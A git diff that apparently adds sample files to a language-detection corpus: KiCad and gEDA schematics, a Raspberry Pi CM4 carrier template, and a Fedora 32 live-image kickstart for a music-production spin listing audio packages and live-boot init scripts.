+F 3 "" H 3400 4750 50  0000 C CNN
+	1    3400 4750
+	1    0    0    -1  
+$EndComp
+$Comp
+L GND #PWR031
+U 1 1 57781D17
+P 5150 2900
+F 0 "#PWR031" H 5150 2650 50  0001 C CNN
+F 1 "GND" H 5150 2750 50  0000 C CNN
+F 2 "" H 5150 2900 50  0000 C CNN
+F 3 "" H 5150 2900 50  0000 C CNN
+	1    5150 2900
+	1    0    0    -1  
+$EndComp
+$Comp
+L C_100nF C1
+U 1 1 57781D10
+P 5150 2550
+F 0 "C1" H 5150 2650 40  0000 L CNN
+F 1 "C_100nF" H 5156 2465 40  0000 L CNN
+F 2 "simonShield:C_Disc_D3_P2.5" H 5188 2400 30  0001 C CNN
+F 3 "" H 5150 2550 60  0000 C CNN
+F 4 "BC1160TR­ND" H 5150 2550 60  0001 C CNN "Digikey#"
+	1    5150 2550
+	1    0    0    -1  
+$EndComp
+$Comp
+L VCC #PWR032
+U 1 1 5798B140
+P 4800 2050
+F 0 "#PWR032" H 4800 1900 50  0001 C CNN
+F 1 "VCC" H 4800 2200 50  0000 C CNN
+F 2 "" H 4800 2050 50  0000 C CNN
+F 3 "" H 4800 2050 50  0000 C CNN
+	1    4800 2050
+	1    0    0    -1  
+$EndComp
+Wire Wire Line
+	4850 2750 4900 2750
+Wire Wire Line
+	4900 2750 4900 2500
+Wire Wire Line
+	4900 2500 3800 2500
+Wire Wire Line
+	3800 2500 3800 2300
+Wire Wire Line
+	3800 2300 4000 2300
+Wire Wire Line
+	3650 2750 3600 2750
+Wire Wire Line
+	3600 2750 3600 2200
+Wire Wire Line
+	3600 2200 4000 2200
+Wire Wire Line
+	3200 2850 3200 3000
+Wire Wire Line
+	3650 2850 3200 2850
+Wire Notes Line
+	1950 1050 1950 5450
+Wire Notes Line
+	1950 5450 9850 5450
+Wire Notes Line
+	9850 5450 9850 1050
+Wire Notes Line
+	9850 1050 1950 1050
+Wire Notes Line
+	1950 1200 9850 1200
+Wire Notes Line
+	9850 1350 1950 1350
+Wire Notes Line
+	6050 1200 6050 5450
+Wire Wire Line
+	3650 4650 3400 4650
+Wire Wire Line
+	3400 4550 3400 4750
+Wire Wire Line
+	3650 4550 3400 4550
+Connection ~ 3400 4650
+Wire Wire Line
+	5150 2750 5150 2900
+Wire Wire Line
+	4500 2200 4800 2200
+Wire Wire Line
+	4800 2300 4800 2050
+Wire Wire Line
+	4500 2300 5150 2300
+Connection ~ 4800 2200
+Wire Wire Line
+	5150 2300 5150 2350
+Connection ~ 4800 2300
+NoConn ~ 3650 4250
+NoConn ~ 3650 4150
+NoConn ~ 4850 4150
+NoConn ~ 4850 4250
+$EndSCHEMATC
diff --git a/samples/KiCad Schematic/gedda-junk.sch b/samples/KiCad Schematic/gedda-junk.sch
new file mode 100644
index 0000000000..cb0a64f653
--- /dev/null
+++ b/samples/KiCad Schematic/gedda-junk.sch	
@@ -0,0 +1,137 @@
+v 20080706 2
+T 10000 20000 9 10 1 0 0 0 1
+_0_0_   0.sym
+T 10000 19800 9 10 1 0 0 0 1
+_1_1_   1.sym
+T 10000 19600 9 10 1 0 0 0 1
+_2_2_   2.sym
+T 10000 19400 9 10 1 0 0 0 1
+_3_3_   3.sym
+T 10000 19200 9 10 1 0 0 0 1
+_4_4_   4.sym
+T 10000 19000 9 10 1 0 0 0 1
+_5_5_   5.sym
+T 10000 18800 9 10 1 0 0 0 1
+_6_6_   6.sym
+T 10000 18600 9 10 1 0 0 0 1
+_7_7_   7.sym
+T 10000 18400 9 10 1 0 0 0 1
+_8_8_   8.sym
+T 10000 18200 9 10 1 0 0 0 1
+_9_9_   9.sym
+T 18000 17200 9 10 1 0 0 0 1
+_q_q_   q_.sym
+v 20130925 2
+C 40000 40000 0 0 0 title-B.sym
+N 43500 47000 44200 47000 4
+N 44200 47000 44200 49400 4
+N 44200 49400 41800 49400 4
+N 41800 47300 41800 49400 4
+N 41800 47300 41500 47300 4
+N 41500 47300 41500 45600 4
+N 41500 45600 41600 45600 4
+N 41600 45600 41600 44600 4
+N 41100 44600 41600 44600 4
+N 41100 44600 41100 42900 4
+N 41100 42900 42400 42900 4
+N 42400 42900 42400 43600 4
+N 42400 43600 41000 43600 4
+N 41000 43600 41000 41300 4
+U 45300 49600 45300 43900 10 0
+U 45300 43900 53800 43900 10 0
+U 53800 43900 53800 45900 10 0
+U 53800 45900 53100 45900 10 0
+U 53100 45900 53100 47300 10 0
+U 53100 47300 50500 47300 10 0
+V 48500 47400 900 3 0 0 0 -1 -1 0 -1 -1 -1 -1 -1
+P 47300 49100 50100 49100 1 0 0
+{
+T 47300 49100 5 10 0 0 0 0 1
+pintype=unknown
+T 50155 49095 5 10 1 1 0 0 1
+pinlabel=unknown
+T 50005 49145 5 10 1 1 0 6 1
+pinnumber=0
+T 47300 49100 5 10 0 0 0 0 1
+pinseq=0
+}
+P 51800 50000 51800 48500 1 0 0
+{
+T 51800 50000 5 10 0 0 0 0 1
+pintype=unknown
+T 51800 48445 5 10 1 1 90 6 1
+pinlabel=unknown
+T 51750 48595 5 10 1 1 90 0 1
+pinnumber=0
+T 51800 50000 5 10 0 0 0 0 1
+pinseq=0
+}
+P 54500 48500 54500 47900 1 0 0
+{
+T 54500 48500 5 10 0 0 0 0 1
+pintype=unknown
+T 54500 47845 5 10 1 1 90 6 1
+pinlabel=unknown
+T 54450 47995 5 10 1 1 90 0 1
+pinnumber=0
+T 54500 48500 5 10 0 0 0 0 1
+pinseq=0
+}
+C 46700 49800 1 0 0 af_output_transformer-1.sym
+{
+T 48000 52200 5 10 0 0 0 0 1
+device=AF_OUTPUT_TRANSFORMER
+T 48000 51900 5 10 1 1 0 0 1
+refdes=U?
+}
+C 42900 41300 1 0 0 af_output_transformer-1.sym
+{
+T 44200 43700 5 10 0 0 0 0 1
+device=AF_OUTPUT_TRANSFORMER
+T 44200 43400 5 10 1 1 0 0 1
+refdes=U?
+}
+T 48100 42000 9 10 1 0 0 0 1
+NFI_LOL
+C 42200 44500 1 0 0 ssrelay-spdt-lcc110-1.sym
+{
+T 42500 47100 5 10 0 0 0 0 1
+device=LCC110
+T 42500 46700 5 10 0 0 0 0 1
+symversion=0.1
+T 42500 46250 5 10 1 1 0 0 1
+refdes=U?
+T 42500 46900 5 10 0 0 0 0 1
+footprint=DIP8
+}
+U 53200 50000 53200 47900 10 0
+U 53200 47900 53700 47900 10 0
+U 53700 47900 53700 46500 10 0
+U 53700 46500 54200 46500 10 0
+U 54200 46500 54200 43800 10 0
+U 54200 43800 45500 43800 10 0
+U 45500 43800 45500 42600 10 0
+U 45500 42600 49200 42600 10 0
+U 49200 42600 49200 41500 10 0
+U 49200 41500 47700 41500 10 0
+U 47700 41500 47700 42200 10 0
+U 47700 42200 45300 42200 10 0
+U 45300 42200 45300 40500 10 0
+U 45300 40500 40900 40500 10 0
+U 40900 40500 40900 41000 10 0
+U 40900 41000 40500 41000 10 0
+U 40500 41000 40500 50300 10 0
+U 40500 50300 45800 50300 10 0
+U 45800 50300 45800 49700 10 0
+U 45800 49700 45300 49700 10 0
+U 45300 49700 45300 48100 10 0
+U 45300 48100 43600 48100 10 0
+C 42500 47400 1 0 0 switch-dip12.sym
+{
+T 42800 51700 5 10 1 1 0 0 1
+footprint=SWITCH_DIP12
+T 42800 51975 5 8 0 0 0 0 1
+device=SWITCH_DIP12
+T 42800 51350 5 10 1 1 0 0 1
+refdes=S?
+}
diff --git a/samples/KiCad Schematic/rpi-cm4-carrier-template.kicad_sch b/samples/KiCad Schematic/rpi-cm4-carrier-template.kicad_sch
new file mode 100644
index 0000000000..8e6c692cb2
--- /dev/null
+++ b/samples/KiCad Schematic/rpi-cm4-carrier-template.kicad_sch	
@@ -0,0 +1,70 @@
+(kicad_sch (version 20201015) (generator eeschema)
+
+  (page 1 3)
+
+  (paper "A4")
+
+  (title_block
+    (title "Raspberry Pi Compute Module 4 Carrier Template")
+    (date "2020-10-31")
+    (rev "v01")
+    (comment 2 "creativecommons.org/licenses/by-sa/4.0/")
+    (comment 3 "License: CC BY 4.0")
+    (comment 4 "Author: Shawn Hymel")
+  )
+
+  (lib_symbols
+  )
+
+
+  (sheet (at 101.6 50.8) (size 38.1 38.1)
+    (stroke (width 0) (type solid) (color 132 0 132 1))
+    (fill (color 255 255 255 0.0000))
+    (uuid fc4c71a5-1008-4ac4-98db-57c838c57d91)
+    (property "Sheet name" "CM4 GPIO" (id 0) (at 101.6 50.1645 0)
+      (effects (font (size 1.27 1.27)) (justify left bottom))
+    )
+    (property "Sheet file" "cm4-gpio.kicad_sch" (id 1) (at 101.6 89.4085 0)
+      (effects (font (size 1.27 1.27)) (justify left top))
+    )
+  )
+
+  (sheet (at 101.6 101.6) (size 38.1 38.1)
+    (stroke (width 0) (type solid) (color 132 0 132 1))
+    (fill (color 255 255 255 0.0000))
+    (uuid caa71f4c-454d-4ac9-b287-456eafb34991)
+    (property "Sheet name" "CM4 High Speed" (id 0) (at 101.6 100.9645 0)
+      (effects (font (size 1.27 1.27)) (justify left bottom))
+    )
+    (property "Sheet file" "cm4-high-speed.kicad_sch" (id 1) (at 101.6 140.2085 0)
+      (effects (font (size 1.27 1.27)) (justify left top))
+    )
+  )
+
+  (sheet_instances
+    (path "/" (page "1"))
+    (path "/fc4c71a5-1008-4ac4-98db-57c838c57d91/" (page "3"))
+    (path "/caa71f4c-454d-4ac9-b287-456eafb34991/" (page "3"))
+  )
+
+  (symbol_instances
+    (path "/fc4c71a5-1008-4ac4-98db-57c838c57d91/230650eb-8852-4c76-b63c-12ec79910b81"
+      (reference "#PWR?") (unit 1) (value "GND") (footprint "")
+    )
+    (path "/fc4c71a5-1008-4ac4-98db-57c838c57d91/31551326-27c6-4bba-a0c0-abe772948a8c"
+      (reference "#PWR?") (unit 1) (value "GND") (footprint "")
+    )
+    (path "/fc4c71a5-1008-4ac4-98db-57c838c57d91/463d59ed-ef45-4402-9140-190527b0aff8"
+      (reference "Module1") (unit 1) (value "ComputeModule4-CM4") (footprint "CM4IO:Raspberry-Pi-4-Compute-Module")
+    )
+    (path "/caa71f4c-454d-4ac9-b287-456eafb34991/0d0caf91-4ece-48ed-a178-43a8b49f3526"
+      (reference "#PWR?") (unit 1) (value "GND") (footprint "")
+    )
+    (path "/caa71f4c-454d-4ac9-b287-456eafb34991/81f0d702-912e-410d-83f3-c9f3bd3f7f28"
+      (reference "#PWR?") (unit 1) (value "GND") (footprint "")
+    )
+    (path "/caa71f4c-454d-4ac9-b287-456eafb34991/fafda8be-1326-444e-bcc1-8cb4aded3240"
+      (reference "Module1") (unit 2) (value "ComputeModule4-CM4") (footprint "CM4IO:Raspberry-Pi-4-Compute-Module")
+    )
+  )
+)
diff --git a/samples/KiCad/ultimate-temp-controller.sch b/samples/KiCad Schematic/ultimate-temp-controller.sch
similarity index 100%
rename from samples/KiCad/ultimate-temp-controller.sch
rename to samples/KiCad Schematic/ultimate-temp-controller.sch
diff --git a/samples/Kickstart/fedora-32-live-jam-xfce-pipewire.ks b/samples/Kickstart/fedora-32-live-jam-xfce-pipewire.ks
new file mode 100644
index 0000000000..489e1e29be
--- /dev/null
+++ b/samples/Kickstart/fedora-32-live-jam-xfce-pipewire.ks
@@ -0,0 +1,926 @@
+# example taken from https://github.com/ycollet/fedora-spec/blob/master/kickstart/fedora-32-live-jam-xfce-pipewire.ks
+# Lic. GPL-3.0
+
+# fedora-livedvd-jam-xfe.ks
+# With XFCE Desktop
+
+# Fedora Jam: For Musicians and audio enthusiasts
+# Fedora Jam is a spin for anyone interested in creating 
+# music 
+
+# Maintainer: Yann Collette <ycollette.nospam@free.fr>
+
+lang fr_FR.UTF-8
+keyboard fr-latin9
+timezone Europe/Paris
+
+auth --useshadow --passalgo=sha512
+# SELinux configuration
+selinux --enforcing
+firewall --enabled --service=mdns
+xconfig --startxonboot
+# Clear the Master Boot Record
+zerombr
+clearpart --all --initlabel
+part / --size 16384 --fstype ext4
+services --disabled="sshd" --enabled="NetworkManager"
+network --bootproto=dhcp --device=link --activate
+# Shutdown after installation
+shutdown
+rootpw --plaintext audinux
+
+#enable threaded irqs
+bootloader --location=none --append="threadirqs nopti"
+
+repo --name=rpmfusion                --baseurl=http://download1.rpmfusion.org/free/fedora/releases/$releasever/Everything/$basearch/os/
+repo --name=rpmfusion-non-free       --baseurl=http://download1.rpmfusion.org/nonfree/fedora/releases/$releasever/Everything/$basearch/os/
+repo --name=rpmfusion-update-testing --baseurl=http://download1.rpmfusion.org/free/fedora/updates/testing/$releasever/$basearch/
+repo --name=rpmfusion-free-update    --baseurl=http://download1.rpmfusion.org/free/fedora/updates/$releasever/$basearch/
+
+repo --name=fedora  --mirrorlist=http://mirrors.fedoraproject.org/metalink?repo=fedora-$releasever&arch=$basearch
+repo --name=updates --mirrorlist=http://mirrors.fedoraproject.org/metalink?repo=updates-released-f$releasever&arch=$basearch
+
+url --mirrorlist=https://mirrors.fedoraproject.org/metalink?repo=fedora-$releasever&arch=$basearch
+
+repo --name="CoprLinuxMAO" --baseurl=https://copr-be.cloud.fedoraproject.org/results/ycollet/linuxmao/fedora-$releasever-$basearch/
+
+%packages
+
+@base-x
+@guest-desktop-agents
+@standard
+@core
+@fonts
+@input-methods
+@multimedia
+@hardware-support
+dnf
+
+# exclude input methods:
+-scim*
+-ibus*
+-iok
+
+# Make live images easy to shutdown and the like in libvirt
+qemu-guest-agent
+
+%end
+
+%post
+
+# Install language pack
+dnf -y langinstall French
+
+# FIXME: it'd be better to get this installed from a package
+cat > /etc/rc.d/init.d/livesys << EOF
+#!/bin/bash
+#
+# live: Init script for live image
+#
+# chkconfig: 345 00 99
+# description: Init script for live image.
+### BEGIN INIT INFO
+# X-Start-Before: display-manager chronyd
+### END INIT INFO
+
+. /etc/init.d/functions
+
+if ! strstr "\`cat /proc/cmdline\`" rd.live.image || [ "\$1" != "start" ]; then
+    exit 0
+fi
+
+if [ -e /.liveimg-configured ] ; then
+    configdone=1
+fi
+
+exists() {
+    which \$1 >/dev/null 2>&1 || return
+    \$*
+}
+
+# Make sure we don't mangle the hardware clock on shutdown
+ln -sf /dev/null /etc/systemd/system/hwclock-save.service
+
+livedir="LiveOS"
+for arg in \`cat /proc/cmdline\` ; do
+  if [ "\${arg##rd.live.dir=}" != "\${arg}" ]; then
+    livedir=\${arg##rd.live.dir=}
+    continue
+  fi
+  if [ "\${arg##live_dir=}" != "\${arg}" ]; then
+    livedir=\${arg##live_dir=}
+  fi
+done
+
+# enable swaps unless requested otherwise
+swaps=\`blkid -t TYPE=swap -o device\`
+if ! strstr "\`cat /proc/cmdline\`" noswap && [ -n "\$swaps" ] ; then
+  for s in \$swaps ; do
+    action "Enabling swap partition \$s" swapon \$s
+  done
+fi
+if ! strstr "\`cat /proc/cmdline\`" noswap && [ -f /run/initramfs/live/\${livedir}/swap.img ] ; then
+  action "Enabling swap file" swapon /run/initramfs/live/\${livedir}/swap.img
+fi
+
+mountPersistentHome() {
+  # support label/uuid
+  if [ "\${homedev##LABEL=}" != "\${homedev}" -o "\${homedev##UUID=}" != "\${homedev}" ]; then
+    homedev=\`/sbin/blkid -o device -t "\$homedev"\`
+  fi
+
+  # if we're given a file rather than a blockdev, loopback it
+  if [ "\${homedev##mtd}" != "\${homedev}" ]; then
+    # mtd devs don't have a block device but get magic-mounted with -t jffs2
+    mountopts="-t jffs2"
+  elif [ ! -b "\$homedev" ]; then
+    loopdev=\`losetup -f\`
+    if [ "\${homedev##/run/initramfs/live}" != "\${homedev}" ]; then
+      action "Remounting live store r/w" mount -o remount,rw /run/initramfs/live
+    fi
+    losetup \$loopdev \$homedev
+    homedev=\$loopdev
+  fi
+
+  # if it's encrypted, we need to unlock it
+  if [ "\$(/sbin/blkid -s TYPE -o value \$homedev 2>/dev/null)" = "crypto_LUKS" ]; then
+    echo
+    echo "Setting up encrypted /home device"
+    plymouth ask-for-password --command="cryptsetup luksOpen \$homedev EncHome"
+    homedev=/dev/mapper/EncHome
+  fi
+
+  # and finally do the mount
+  mount \$mountopts \$homedev /home
+  # if we have /home under what's passed for persistent home, then
+  # we should make that the real /home.  useful for mtd device on olpc
+  if [ -d /home/home ]; then mount --bind /home/home /home ; fi
+  [ -x /sbin/restorecon ] && /sbin/restorecon /home
+  if [ -d /home/audinux ]; then USERADDARGS="-M" ; fi
+}
+
+findPersistentHome() {
+  for arg in \`cat /proc/cmdline\` ; do
+    if [ "\${arg##persistenthome=}" != "\${arg}" ]; then
+      homedev=\${arg##persistenthome=}
+    fi
+  done
+}
+
+if strstr "\`cat /proc/cmdline\`" persistenthome= ; then
+  findPersistentHome
+elif [ -e /run/initramfs/live/\${livedir}/home.img ]; then
+  homedev=/run/initramfs/live/\${livedir}/home.img
+fi
+
+# if we have a persistent /home, then we want to go ahead and mount it
+if ! strstr "\`cat /proc/cmdline\`" nopersistenthome && [ -n "\$homedev" ] ; then
+  action "Mounting persistent /home" mountPersistentHome
+fi
+
+if [ -n "\$configdone" ]; then
+  exit 0
+fi
+
+# add fedora user with no passwd
+action "Adding live user" useradd \$USERADDARGS -c "Live System User" audinux
+passwd -d audinux > /dev/null
+usermod -aG wheel    audinux > /dev/null
+usermod -aG jackuser audinux > /dev/null
+usermod -aG root     audinux > /dev/null
+
+# Remove root password lock
+passwd -d root > /dev/null
+
+# turn off firstboot for livecd boots
+systemctl --no-reload disable firstboot-text.service 2> /dev/null || :
+systemctl --no-reload disable firstboot-graphical.service 2> /dev/null || :
+systemctl stop firstboot-text.service 2> /dev/null || :
+systemctl stop firstboot-graphical.service 2> /dev/null || :
+
+# don't use prelink on a running live image
+sed -i 's/PRELINKING=yes/PRELINKING=no/' /etc/sysconfig/prelink &>/dev/null || :
+
+# turn off mdmonitor by default
+systemctl --no-reload disable mdmonitor.service 2> /dev/null || :
+systemctl --no-reload disable mdmonitor-takeover.service 2> /dev/null || :
+systemctl stop mdmonitor.service 2> /dev/null || :
+systemctl stop mdmonitor-takeover.service 2> /dev/null || :
+
+# don't enable the gnome-settings-daemon packagekit plugin
+gsettings set org.gnome.software download-updates 'false' || :
+
+# don't start cron/at as they tend to spawn things which are
+# disk intensive that are painful on a live image
+systemctl --no-reload disable crond.service 2> /dev/null || :
+systemctl --no-reload disable atd.service 2> /dev/null || :
+systemctl stop crond.service 2> /dev/null || :
+systemctl stop atd.service 2> /dev/null || :
+
+# turn off abrtd on a live image
+systemctl --no-reload disable abrtd.service 2> /dev/null || :
+systemctl stop abrtd.service 2> /dev/null || :
+
+# Don't sync the system clock when running live (RHBZ #1018162)
+sed -i 's/rtcsync//' /etc/chrony.conf
+
+# Mark things as configured
+touch /.liveimg-configured
+
+# add static hostname to work around xauth bug
+# https://bugzilla.redhat.com/show_bug.cgi?id=679486
+# the hostname must be something else than 'localhost'
+# https://bugzilla.redhat.com/show_bug.cgi?id=1370222
+echo "localhost-live" > /etc/hostname
+
+EOF
+
+# bah, hal starts way too late
+cat > /etc/rc.d/init.d/livesys-late << EOF
+#!/bin/bash
+#
+# live: Late init script for live image
+#
+# chkconfig: 345 99 01
+# description: Late init script for live image.
+
+. /etc/init.d/functions
+
+if ! strstr "\`cat /proc/cmdline\`" rd.live.image || [ "\$1" != "start" ] || [ -e /.liveimg-late-configured ] ; then
+    exit 0
+fi
+
+exists() {
+    which \$1 >/dev/null 2>&1 || return
+    \$*
+}
+
+touch /.liveimg-late-configured
+
+# read some variables out of /proc/cmdline
+for o in \`cat /proc/cmdline\` ; do
+    case \$o in
+    ks=*)
+        ks="--kickstart=\${o#ks=}"
+        ;;
+    xdriver=*)
+        xdriver="\${o#xdriver=}"
+        ;;
+    esac
+done
+
+# if liveinst or textinst is given, start anaconda
+if strstr "\`cat /proc/cmdline\`" liveinst ; then
+   plymouth --quit
+   /usr/sbin/liveinst \$ks
+fi
+if strstr "\`cat /proc/cmdline\`" textinst ; then
+   plymouth --quit
+   /usr/sbin/liveinst --text \$ks
+fi
+
+# configure X, allowing user to override xdriver
+cat > /etc/X11/xorg.conf <<FOE
+Section "InputDevice"
+    Identifier "Keyboard0"
+    Driver "kbd"
+    Option "XkbLayout" "fr-latin9"
+EndSection
+FOE
+
+if [ -n "\$xdriver" ]; then
+   cat > /etc/X11/xorg.conf.d/00-xdriver.conf <<FOE
+Section "Device"
+    Identifier "Videocard0"
+    Driver "\$xdriver"
+EndSection
+FOE
+fi
+
+EOF
+
+chmod 755 /etc/rc.d/init.d/livesys
+/sbin/restorecon /etc/rc.d/init.d/livesys
+/sbin/chkconfig --add livesys
+
+chmod 755 /etc/rc.d/init.d/livesys-late
+/sbin/restorecon /etc/rc.d/init.d/livesys-late
+/sbin/chkconfig --add livesys-late
+
+# enable tmpfs for /tmp
+systemctl enable tmp.mount
+
+# make it so that we don't do writing to the overlay for things which
+# are just tmpdirs/caches
+# note https://bugzilla.redhat.com/show_bug.cgi?id=1135475
+cat >> /etc/fstab << EOF
+vartmp   /var/tmp    tmpfs   defaults   0  0
+EOF
+
+# work around for poor key import UI in PackageKit
+rm -f /var/lib/rpm/__db*
+releasever=$(rpm -q --qf '%{version}\n' --whatprovides system-release)
+basearch=$(uname -i)
+rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-fedora-$releasever-$basearch
+echo "Packages within this LiveCD"
+rpm -qa
+# Note that running rpm recreates the rpm db files which aren't needed or wanted
+rm -f /var/lib/rpm/__db*
+
+# go ahead and pre-make the man -k cache (#455968)
+/usr/bin/mandb
+
+# make sure there aren't core files lying around
+rm -f /core*
+
+# remove random seed, the newly installed instance should make it's own
+rm -f /var/lib/systemd/random-seed
+
+# convince readahead not to collect
+# FIXME: for systemd
+
+# forcibly regenerate fontconfig cache (so long as this live image has
+# fontconfig) - see #1169979
+if [ -x /usr/bin/fc-cache ] ; then
+   fc-cache -f
+fi
+
+echo 'File created by kickstart. See systemd-update-done.service(8).' \
+    | tee /etc/.updated >/var/.updated
+
+# Drop the rescue kernel and initramfs, we don't need them on the live media itself.
+# See bug 1317709
+rm -f /boot/*-rescue*
+
+# Disable network service here, as doing it in the services line
+# fails due to RHBZ #1369794
+/sbin/chkconfig network off
+
+# Remove machine-id on pre generated images
+rm -f /etc/machine-id
+touch /etc/machine-id
+
+%end
+
+%post --nochroot
+#YC: no such files in F31 - cp $INSTALL_ROOT/usr/share/licenses/*-release/* $LIVE_ROOT/
+
+# only works on x86, x86_64
+if [ "$(uname -i)" = "i386" -o "$(uname -i)" = "x86_64" ]; then
+    # For livecd-creator builds
+    if [ ! -d $LIVE_ROOT/LiveOS ]; then mkdir -p $LIVE_ROOT/LiveOS ; fi
+    cp /usr/bin/livecd-iso-to-disk $LIVE_ROOT/LiveOS
+
+    # For lorax/livemedia-creator builds
+    sed -i '
+    /## make boot.iso/ i\
+    # Add livecd-iso-to-disk script to .iso filesystem at /LiveOS/\
+    <% f = "usr/bin/livecd-iso-to-disk" %>\
+    %if exists(f):\
+        install ${f} ${LIVEDIR}/${f|basename}\
+    %endif\
+    ' /usr/share/lorax/templates.d/99-generic/live/x86.tmpl
+fi
+
+%end
+
+#################################
+# List packages to be installed #
+#################################
+
+%packages
+
+# system packages
+
+# Explicitly specified here:
+# <notting> walters: because otherwise dependency loops cause yum issues.
+kernel
+kernel-modules
+kernel-modules-extra
+kernel-tools
+# kernel-rt-mao
+# YC: livecd-creator doesn't manage kernel-rt-* naming, only kernel-*
+
+# This was added a while ago, I think it falls into the category of
+# "Diagnosis/recovery tool useful from a Live OS image".  Leaving this untouched
+# for now.
+memtest86+
+
+syslinux
+
+# Without this, initramfs generation during live image creation fails: #1242586
+dracut-live
+grub2
+grub2-tools
+grub2-efi
+#shim
+#shim-unsigned
+
+# save some space
+-mpage
+-sox
+-hplip
+-numactl
+-isdn4k-utils
+-autofs
+# smartcards won't really work on the livecd.
+-coolkey
+-wget
+
+# scanning takes quite a bit of space :/
+-xsane
+-xsane-gimp
+-sane-backends
+
+# XFCE
+@xfce-desktop
+@xfce-apps
+@xfce-extra-plugins
+@xfce-media
+@xfce-office
+
+# unlock default keyring. FIXME: Should probably be done in comps
+gnome-keyring-pam
+fedora-release
+
+# various system package (since F31)
+chkconfig
+
+# save some space
+-autofs
+-acpid
+-gimp-help
+-desktop-backgrounds-basic
+-realmd                     # only seems to be used in GNOME
+-aspell-*                   # dictionaries are big
+-gnumeric
+-foomatic-db-ppds
+-foomatic
+-stix-fonts
+-ibus-typing-booster
+-xfce4-sensors-plugin
+
+# drop some system-config things
+#-system-config-boot
+#-system-config-network
+-system-config-rootpassword
+#-system-config-services
+-policycoreutils-gui
+#-libcrypt-nss
+python3
+
+# alsa
+alsa-firmware
+alsa-tools
+alsa-utils
+alsamixergui
+alsa-plugins-jack
+alsa-plugins-pulseaudio
+alsa-plugins-usbstream
+alsa-plugins-samplerate
+alsa-plugins-upmix
+alsa-plugins-vdownmix
+a2jmidid
+#YC aj-snapshot
+
+# jack 
+pipewire-jack-audio-connection-kit
+pipewire-alsa
+pipewire-gstreamer
+pipewire-libjack
+qjackctl
+jackctlmmc
+Cadence
+
+# ffado
+ffado
+
+# pulse
+pavucontrol
+
+# midi
+qsynth
+fluidsynth
+fluid-soundfont-gm
+fluidsynth-dssi
+timidity++
+qmidiarp
+vmpk
+mamba
+
+# synthesis
+hydrogen
+#YC hydrogen-drumkit-AVL-BlackPearl
+bristol
+yoshimi
+zynaddsubfx
+swami
+synthv1
+samplv1
+ams
+aeolus
+minicomputer
+phasex
+Rack-v1
+rack-v1-Befaco
+rack-v1-ESeries
+rack-v1-AudibleInstruments
+rack-v1-Fundamental
+
+# guitar
+guitarix
+tuxguitar
+sooperlooper
+
+# recodring and DAW
+audacity
+ardour5
+ardour5-audiobackend-alsa
+ardour5-audiobackend-jack
+ardour5-audiobackend-dummy
+#YC seq24
+qtractor
+non-daw
+non-mixer
+non-sequencer
+non-session-manager
+muse
+rosegarden4
+mixxx
+milkytracker
+
+# audio-plugins
+calf
+dssi
+ladspa
+helm
+DISTRHO-Ports
+6PM
+synthpod
+
+# ladpsa plugins
+ladspa-calf-plugins
+ladspa-caps-plugins
+ladspa-amb-plugins
+ladspa-autotalent-plugins
+ladspa-blop-plugins
+ladspa-cmt-plugins
+ladspa-fil-plugins
+ladspa-mcp-plugins
+ladspa-rev-plugins
+ladspa-swh-plugins
+ladspa-tap-plugins
+ladspa-vco-plugins
+#YC ladspa-vocoder-plugins
+ladspa-wasp-plugins
+
+# lv2 plugins
+lv2
+#YC lv2-avw-plugins
+#YC pyliblo missing lv2-fil-plugins
+lv2-invada-plugins
+#YC lv2-kn0ck0ut
+lv2-ll-plugins
+swh-lv2
+lv2-vocoder-plugins
+lv2-zynadd-plugins
+lv2dynparam
+lv2-abGate
+lv2-c++-tools 
+lv2-samplv1
+lv2-synthv1
+lv2-drumkv1
+#YC lv2-triceratops
+lv2-newtonator
+lv2-x42-plugins
+#YC lv2-fomp-plugins
+lv2-sorcer
+lv2-fabla
+lv2-artyfx-plugins
+lv2-EQ10Q-plugins
+lv2-linuxsampler-plugins
+lv2-mdaEPiano
+lv2-mdala-plugins
+swh-lv2
+orbit.lv2
+midi_matrix.lv2
+sherlock.lv2
+eteroj.lv2
+zam-plugins
+vopa-lv2
+tap-lv2
+#sisco.lv2
+mda-lv2
+rkrlv2
+ams-lv2
+
+# dssi
+nekobee-dssi
+whysynth-dssi
+xsynth-dssi
+hexter-dssi
+
+# VST3
+vst3-surge
+
+# Zita tools
+zita-at1
+zita-rev1
+zita-ajbridge
+zita-alsa-pcmi
+zita-convolver
+zita-lrx
+zita-njbridge
+zita-resampler
+
+# writing & publishing
+vim
+nano
+mscore
+lilypond
+
+# audio utilities
+jamin
+lash
+jack_capture
+jaaa
+jmeters
+qastools
+arpage
+realTimeConfigQuickScan
+rtirq
+japa
+radium-compressor
+#YC solfege
+linuxsampler
+# qsampler # YC libgig missing ...
+projectM-jack
+projectM-pulseaudio
+
+protrekkr
+oxefmsynth
+stretchplayer
+sfarkxtc
+lenmus
+GrandOrgue
+picoloop
+jm2cv
+rakarrack
+
+#language
+chuck
+miniaudicle
+supercollider
+supercollider-sc3-plugins
+supercollider-vim
+lmms-mao
+faust
+faust-tools
+faustworks
+
+# fedora jam theming (to be customized)
+fedora-jam-backgrounds
+
+# Misc. Utils
+screen
+multimedia-menus
+xterm
+emacs
+
+# Include Mozilla Firefox and Thunderbird
+firefox
+thunderbird
+
+##########
+# Remove #
+##########
+
+## These are packages that are pulled for one reason or another but are safe to remove.
+-@input-methods              ## Not necessary can be installed later.
+-@dial-up                    ## Not even old computers use dialup anymore.
+-system-config-firewall-base ## Doesn't seem to do anything
+-gfs2-utils                  ## Part of kernel debug
+-kernel-debug-modules-extra  ## Part of kernel debug
+-kernel-debug                ## Dont need the debug kernel upon install
+-aspell-*                    ## Dictionaries are big and take up space
+-man-pages-*                 ## Dictionaries
+-words                       ## Dictionaries
+-krb5-auth-dialog            ## Legacy and cmdline things we don't want
+-krb5-workstation            ## Legacy
+-pam_krb5                    ## Legacy
+-quota                       ## Legacy
+-minicom                     ## Legacy
+-dos2unix                    ## Legacy
+-finger                      ## Legacy
+-ftp                         ## Legacy
+-jwhois                      ## Legacy
+-mtr                         ## Legacy
+-pinfo                       ## Legacy
+-rsh                         ## Legacy
+-telnet                      ## Legacy
+-nfs-utils                   ## Legacy
+-ypbind                      ## Legacy
+-yp-tools                    ## Legacy
+-rpcbind                     ## Legacy
+-acpid                       ## Legacy
+-ntsysv                      ## Legacy
+-rmt                         ## Legacy
+-talk                        ## Legacy
+-lftp                        ## Legacy
+-tcpdump                     ## Legacy
+-dump                        ## Legacy
+-@printing                   ## We don't want printer support out of the box.
+-fprintd-pam                 ## We don't want printer support out of the box.
+-fprintd                     ## We don't want printer support out of the box.
+-libfprint                   ## We don't want printer support out of the box.
